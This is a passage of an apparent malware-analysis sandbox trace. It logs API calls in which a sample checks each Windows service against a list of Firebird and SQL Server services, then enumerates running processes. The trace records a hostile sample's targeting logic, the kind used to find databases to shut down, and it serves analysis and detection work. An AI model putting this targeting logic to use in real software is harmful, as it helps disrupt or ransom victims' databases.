(lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0297.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0297.677] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0297.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0297.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0297.677] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0297.678] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0297.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0297.678] lstrlenW (lpString="CryptSvc") returned 8 [0297.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0297.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0297.678] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0297.678] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0297.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0297.678] lstrlenW (lpString="DcomLaunch") returned 10 [0297.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0297.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0297.678] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0297.678] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0297.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0297.678] lstrlenW (lpString="DeviceAssociationService") returned 24 [0297.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0297.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0297.678] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0297.678] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0297.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0297.678] lstrlenW (lpString="Dhcp") returned 4 [0297.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0297.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0297.678] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0297.678] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0297.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0297.678] lstrlenW (lpString="Dnscache") returned 8 [0297.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0297.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0297.678] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0297.678] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0297.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0297.678] lstrlenW (lpString="DPS") returned 3 [0297.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0297.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0297.678] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0297.678] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0297.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0297.679] lstrlenW (lpString="DusmSvc") returned 7 [0297.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0297.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0297.679] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0297.679] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0297.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0297.679] lstrlenW (lpString="EventLog") returned 8 [0297.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0297.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0297.679] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0297.679] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0297.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0297.679] lstrlenW (lpString="EventSystem") returned 11 [0297.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0297.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0297.679] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0297.679] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0297.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0297.679] lstrlenW (lpString="FontCache") returned 9 [0297.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0297.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0297.679] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0297.679] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0297.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0297.679] lstrlenW (lpString="gpsvc") returned 5 [0297.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0297.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0297.679] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0297.679] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0297.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0297.679] lstrlenW (lpString="iphlpsvc") returned 8 [0297.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0297.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0297.679] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0297.679] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0297.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0297.680] lstrlenW (lpString="KeyIso") returned 6 [0297.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0297.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0297.680] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0297.680] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0297.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0297.680] lstrlenW (lpString="LanmanServer") returned 12 [0297.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0297.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0297.680] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0297.680] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0297.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0297.680] lstrlenW (lpString="LanmanWorkstation") returned 17 [0297.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0297.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0297.680] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0297.680] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0297.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0297.680] lstrlenW (lpString="lfsvc") returned 5 [0297.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0297.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0297.680] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0297.680] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0297.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0297.680] lstrlenW (lpString="lmhosts") returned 7 [0297.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0297.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0297.680] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0297.680] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0297.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0297.680] lstrlenW (lpString="LSM") returned 3 [0297.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0297.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0297.680] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0297.680] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0297.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0297.681] lstrlenW (lpString="MpsSvc") returned 6 [0297.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0297.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0297.681] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0297.681] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0297.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0297.681] lstrlenW (lpString="NcbService") returned 10 [0297.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0297.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0297.681] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0297.681] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0297.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0297.681] lstrlenW (lpString="netprofm") returned 8 [0297.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0297.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0297.681] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0297.681] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0297.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0297.681] lstrlenW (lpString="NgcSvc") returned 6 [0297.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0297.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0297.681] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0297.681] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0297.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0297.681] lstrlenW (lpString="NlaSvc") returned 6 [0297.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0297.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0297.681] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0297.681] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0297.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0297.681] lstrlenW (lpString="nsi") returned 3 [0297.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0297.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0297.682] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0297.682] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0297.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0297.682] lstrlenW (lpString="PcaSvc") returned 6 [0297.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0297.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0297.682] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0297.682] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0297.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0297.682] lstrlenW (lpString="PlugPlay") returned 8 [0297.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0297.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0297.682] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0297.682] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0297.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0297.682] lstrlenW (lpString="Power") returned 5 [0297.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0297.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0297.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0297.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0297.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0297.682] lstrlenW (lpString="ProfSvc") returned 7 [0297.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0297.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0297.682] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0297.682] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0297.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0297.682] lstrlenW (lpString="RpcEptMapper") returned 12 [0297.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0297.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0297.682] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0297.980] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0297.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0297.980] lstrlenW (lpString="RpcSs") returned 5 [0297.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0297.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0297.980] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0297.980] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0297.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0297.980] lstrlenW (lpString="SamSs") returned 5 [0297.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0297.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0297.980] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0297.980] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0297.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0297.980] lstrlenW (lpString="Schedule") returned 8 [0297.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0297.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0297.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0297.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0297.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0297.980] lstrlenW (lpString="SecurityHealthService") returned 21 [0297.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0297.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0297.980] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0297.980] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0297.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0297.980] lstrlenW (lpString="SENS") returned 4 [0297.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0297.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0297.981] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0297.981] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0297.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0297.981] lstrlenW (lpString="ShellHWDetection") returned 16 [0297.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0297.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0297.981] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0297.981] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0297.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0297.981] lstrlenW (lpString="Spooler") returned 7 [0297.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0297.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0297.981] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0297.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0297.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0297.981] lstrlenW (lpString="SSDPSRV") returned 7 [0297.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0297.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0297.981] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0297.981] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0297.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0297.981] lstrlenW (lpString="StateRepository") returned 15 [0297.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0297.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0297.981] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0297.981] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0297.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0297.981] lstrlenW (lpString="SysMain") returned 7 [0297.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0297.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0297.981] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0297.981] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0297.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0297.981] lstrlenW (lpString="SystemEventsBroker") returned 18 [0297.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0297.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0297.981] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0297.982] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0297.982] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10ac [0297.986] Process32FirstW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0297.987] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0297.987] lstrlenW (lpString="System") returned 6 [0297.987] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0297.988] lstrlenW (lpString="smss.exe") returned 8 [0297.988] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0297.989] lstrlenW (lpString="csrss.exe") returned 9 [0297.989] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0297.990] lstrlenW (lpString="wininit.exe") returned 11 [0297.990] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0297.990] lstrlenW (lpString="csrss.exe") returned 9 [0297.990] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0297.991] lstrlenW (lpString="winlogon.exe") returned 12 [0297.991] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0297.992] lstrlenW (lpString="services.exe") returned 12 [0297.992] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0297.993] lstrlenW (lpString="lsass.exe") returned 9 [0297.993] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0297.994] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0297.994] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0297.994] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0297.994] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.995] lstrlenW (lpString="svchost.exe") returned 11 [0297.995] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.996] lstrlenW (lpString="svchost.exe") returned 11 [0297.996] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0297.996] lstrlenW (lpString="dwm.exe") returned 7 [0297.996] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.997] lstrlenW (lpString="svchost.exe") returned 11 [0297.997] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.997] lstrlenW (lpString="svchost.exe") returned 11 [0297.998] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.998] lstrlenW (lpString="svchost.exe") returned 11 [0297.998] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.999] lstrlenW (lpString="svchost.exe") returned 11 [0297.999] Process32NextW (in: hSnapshot=0x10ac, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, 